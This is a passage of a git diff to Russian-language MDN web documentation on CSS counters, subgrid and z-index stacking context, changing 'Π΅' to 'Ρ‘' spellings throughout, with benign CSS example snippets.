+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ subgrid нумСрация Π»ΠΈΠ½ΠΈΠΉ Π½Π΅ наслСдуСтся ΠΎΡ‚ родитСля, Π° начинаСтся ΠΏΠΎ Π½ΠΎΠ²ΠΎΠΉ – колоночная линия 1 Π²Π½ΡƒΡ‚Ρ€ΠΈ subgrid всСгда являСтся Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ бСзопасно Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² Ρ€Π°Π·Π½Ρ‹Ρ… позициях Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ сСткС, зная, Ρ‡Ρ‚ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π° Π»ΠΈΠ½ΠΈΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° всСгда Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ.</p>
<h2 id="Subgrid_для_строк">Subgrid для строк</h2>
diff --git a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html
index 36bce31553..747e2bfc6c 100644
--- a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html
+++ b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html
@@ -1,33 +1,33 @@
---
-title: CSS счСтчики
+title: CSS счётчики
slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
tags:
- CSS
- - CSS счСтчики
- - Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ счСтчики
+ - CSS счётчики
+ - Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ счётчики
translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
---
<div>{{CSSRef}}</div>
-<p>CSS счСтчики, Π² своСй сущности, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ CSS, значСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ CSS для отслСТивания количСства ΠΈΡ… использования. Они ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ внСшний Π²ΠΈΠ΄ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Π΅Π³ΠΎ мСстополоТСнии в Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. CSS счСтчики Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка Π½Π° ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</a>).</p>
+<p>CSS счётчики, Π² своСй сущности, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ CSS, значСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ CSS для отслСТивания количСства ΠΈΡ… использования. Они ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ внСшний Π²ΠΈΠ΄ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Π΅Π³ΠΎ мСстополоТСнии в Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. CSS счётчики Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка Π½Π° ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</a>).</p>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика сбрасываСтся (инициализируСтся) ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ {{cssxref("counter-reset")}}.Β </p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика сбрасываСтся (инициализируСтся) ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ {{cssxref("counter-reset")}}.Β </p>
-<p>{{cssxref("counter-increment")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Π½Π° страницС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>counter() ΠΈΠ»ΠΈΒ counters() Π² свойствС </code>{{cssxref("content")}}.</p>
+<p>{{cssxref("counter-increment")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Π½Π° страницС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>counter() ΠΈΠ»ΠΈΒ counters() Π² свойствС </code>{{cssxref("content")}}.</p>
-<h2 id="ИспользованиС_счСтчиков">ИспользованиС счСтчиков</h2>
+<h2 id="ИспользованиС_счётчиков">ИспользованиС счётчиков</h2>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS счСтчики, сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (0 ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>counter(). Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ прибавляСт Π² Π½Π°Ρ‡Π°Π»Π΅Β ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ h3 элСмСнта </code>"Section &lt;<em>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика</em>&gt;:".</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS счётчики, сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (0 ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>counter(). Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ прибавляСт Π² Π½Π°Ρ‡Π°Π»Π΅Β ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ h3 элСмСнта </code>"Section &lt;<em>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика</em>&gt;:".</p>
<pre class="brush: css">body {
counter-reset: section; /* УстанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅
-Β  счСтчика, Ρ€Π°Π²Π½Ρ‹ΠΌ 0 */
+Β  счётчика, Ρ€Π°Π²Π½Ρ‹ΠΌ 0 */
}
h3::before {
- counter-increment: section; /* Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ счСтчик*/
+ counter-increment: section; /* Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ счётчик*/
content: "БСкция " counter(section) ": "; /* ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅
-Β  Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика */
+Β  Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика */
}
</pre>
@@ -37,20 +37,20 @@ h3::before {
&lt;h3&gt;Основная Ρ‡Π°ΡΡ‚ΡŒ&lt;/h3&gt;
&lt;h3&gt;Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅&lt;/h3&gt;</pre>
-<p>{{EmbedLiveSample("ИспользованиС_счСтчиков", 200, 150)}}</p>
+<p>{{EmbedLiveSample("ИспользованиС_счётчиков", 200, 150)}}</p>
-<h2 id="Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_счСтчики">Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ счСтчики</h2>
+<h2 id="Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_счётчики">Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ счётчики</h2>
-<p>CSS счСтчики ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для создания Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… списков, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ новая ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ CSS счСтчика автоматичСски создаСтся Π² Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтах. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>counters(), ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ строку ΠΌΠ΅ΠΆΠ΄Ρƒ разными уровнями Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… счСтчиков. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</code></p>
+<p>CSS счётчики ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для создания Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… списков, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ новая ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ CSS счётчика автоматичСски создаётся Π² Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтах. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>counters(), ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ строку ΠΌΠ΅ΠΆΠ΄Ρƒ разными уровнями Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… счётчиков. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</code></p>
<pre class="brush: css">ol {
- counter-reset: section; /*Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ счСтчик для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ
+ counter-reset: section; /*Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ счётчик для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ
Β  Ρ‚Π΅Π³Π° &lt;ol&gt;*/
list-style-type: none;
}
li::before {
- counter-increment: section; /*Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ счСтчик
+ counter-increment: section; /*Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ счётчик
Β  Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ уровня влоТСнности*/
content: counters(section,".") " ";/*ДобавляСм значСния всСх ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ
Β  влоТСнности, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒ '.'*/
@@ -92,7 +92,7 @@ li::before {
<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
-<p>{{EmbedLiveSample("Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_счСтчики", 250, 350)}}</p>
+<p>{{EmbedLiveSample("Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_счётчики", 250, 350)}}</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
index 1fe2ab3f3c..2ca973e2ae 100644
--- a/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
+++ b/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
@@ -8,7 +8,7 @@ original_slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index
<p>The first part of this article, <a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without the z-index property</a>, explains how stacking is arranged by default. If you want to create a custom stacking order, you can use the {{cssxref("z-index")}} property on a <a href="/en-US/docs/Web/CSS/position#Types_of_positioning">positioned</a> element.</p>
-<p>Бвойство <code>z-index</code>Β ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ†Π΅Π»Ρ‹Ρ… числах (ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅, ноль, ΠΈΠ»ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅), Ρ‡Ρ‚ΠΎ прСдставляСт собой ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Β Π²Π΄ΠΎΠ»ΡŒ оси z. Если Π²Ρ‹ Π½Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с<strong>Β </strong>осью<strong>Β </strong>z, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅Β ΡΠ΅Π±Π΅ страницу ΠΊΠ°ΠΊ стопку слоСв, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… собствСнноС порядковоС число. Π‘Π»ΠΎΠΈ прСдставлСны в числовом порядкС, with larger numbers above smaller numbers.</p>
+<p>Бвойство <code>z-index</code>Β ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ†Π΅Π»Ρ‹Ρ… числах (ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅, ноль, ΠΈΠ»ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅), Ρ‡Ρ‚ΠΎ прСдставляСт собой ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Β Π²Π΄ΠΎΠ»ΡŒ оси z. Если Π²Ρ‹ Π½Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с<strong>Β </strong>осью<strong>Β </strong>z, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅Β ΡΠ΅Π±Π΅ страницу ΠΊΠ°ΠΊ стопку слоёв, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… собствСнноС порядковоС число. Π‘Π»ΠΎΠΈ прСдставлСны в числовом порядкС, with larger numbers above smaller numbers.</p>
<ul>
<li>bottom layer<em> (farthest from the observer)</em></li>
diff --git a/files/ru/web/css/css_positioning/understanding_z_index/index.html b/files/ru/web/css/css_positioning/understanding_z_index/index.html
index d2185a90e3..747b7e6a24 100644
--- a/files/ru/web/css/css_positioning/understanding_z_index/index.html
+++ b/files/ru/web/css/css_positioning/understanding_z_index/index.html
@@ -16,7 +16,7 @@ original_slug: Web/Guide/CSS/Understanding_z_index
<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ HTML страницы ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ тСкст, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты располоТСны Π½Π° страницС Π±Π΅Π· пСрСкрытия. БущСствуСт Π΅Π΄ΠΈΠ½Ρ‹ΠΉ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ отрисовки (rendering flow) ΠΈ элСмСнты ΠΈΠ·Π±Π΅Π³Π°ΡŽΡ‚ пространства, занятого Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ.{{cssxref("z-index")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ позволяСт Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ порядок налоТСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π° Π² процСссС отрисовки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (rendering content).</p>
<blockquote>
-<p><em>Π’ CSS 2.1, позиция ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° Π±Ρ‹Π»Π° Π² Ρ‚Ρ€Π΅Ρ… измСрСниях.Β Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊ ΠΈΡ… Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π±Π»ΠΎΠΊΠΈ лСТали вдоль оси "z" ΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Π»ΠΈΡΡŒ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.Β ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ оси "z" особСнно Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π°, ΠΊΠΎΠ³Π΄Π° Π±Π»ΠΎΠΊΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°.Β </em></p>
+<p><em>Π’ CSS 2.1, позиция ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° Π±Ρ‹Π»Π° Π² Ρ‚Ρ€Ρ‘Ρ… измСрСниях.Β Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊ ΠΈΡ… Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π±Π»ΠΎΠΊΠΈ лСТали вдоль оси "z" ΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Π»ΠΈΡΡŒ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.Β ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ оси "z" особСнно Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π°, ΠΊΠΎΠ³Π΄Π° Π±Π»ΠΎΠΊΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°.Β </em></p>
</blockquote>
<p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
diff --git a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
index 5a3ae04036..a440844986 100644
--- a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
+++ b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
@@ -3,7 +3,7 @@ title: ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ налоТСния (stacking context)
slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
---
-<p>ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ налоТСния (stacking context) это концСпция трСхмСрного располоТСния HTML элСмСнтов вдоль оси Z ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, находящСмуся ΠΏΠ΅Ρ€Π΅Π΄ экраном.Β  HTML элСмСнты Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ это мСсто ΠΏΠΎ порядку, основанному Π½Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ… элСмСнта.</p>
+<p>ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ налоТСния (stacking context) это концСпция трёхмСрного располоТСния HTML элСмСнтов вдоль оси Z ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, находящСмуся ΠΏΠ΅Ρ€Π΅Π΄ экраном.Β  HTML элСмСнты Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ это мСсто ΠΏΠΎ порядку, основанному Π½Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ… элСмСнта.</p>
<p>Β« <a href="/en-US/docs/CSS" title="CSS">CSS</a> Β« <a href="/en-US/docs/CSS/Understanding_z-index" title="Understanding CSS z-index">Understanding CSS z-index</a></p>
@@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_conte
<p>Β </p>
-<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Β <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">ДобавляСм z-index</a>, порядок отобраТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… DIVs элСмСнтов зависСл ΠΎΡ‚ ΠΈΡ…Β z-index значСния. Π­Ρ‚ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ благодаря Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρƒ этих элСмСнтов Π΅ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈΡ… Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ контСкст наполнСния (Β <em>stacking context )</em>.</p>
+<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Β <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">ДобавляСм z-index</a>, порядок отобраТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… DIVs элСмСнтов зависСл ΠΎΡ‚ ΠΈΡ…Β z-index значСния. Π­Ρ‚ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ благодаря Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρƒ этих элСмСнтов Π΅ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈΡ… Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ контСкст наполнСния (Β <em>stacking context )</em>.</p>
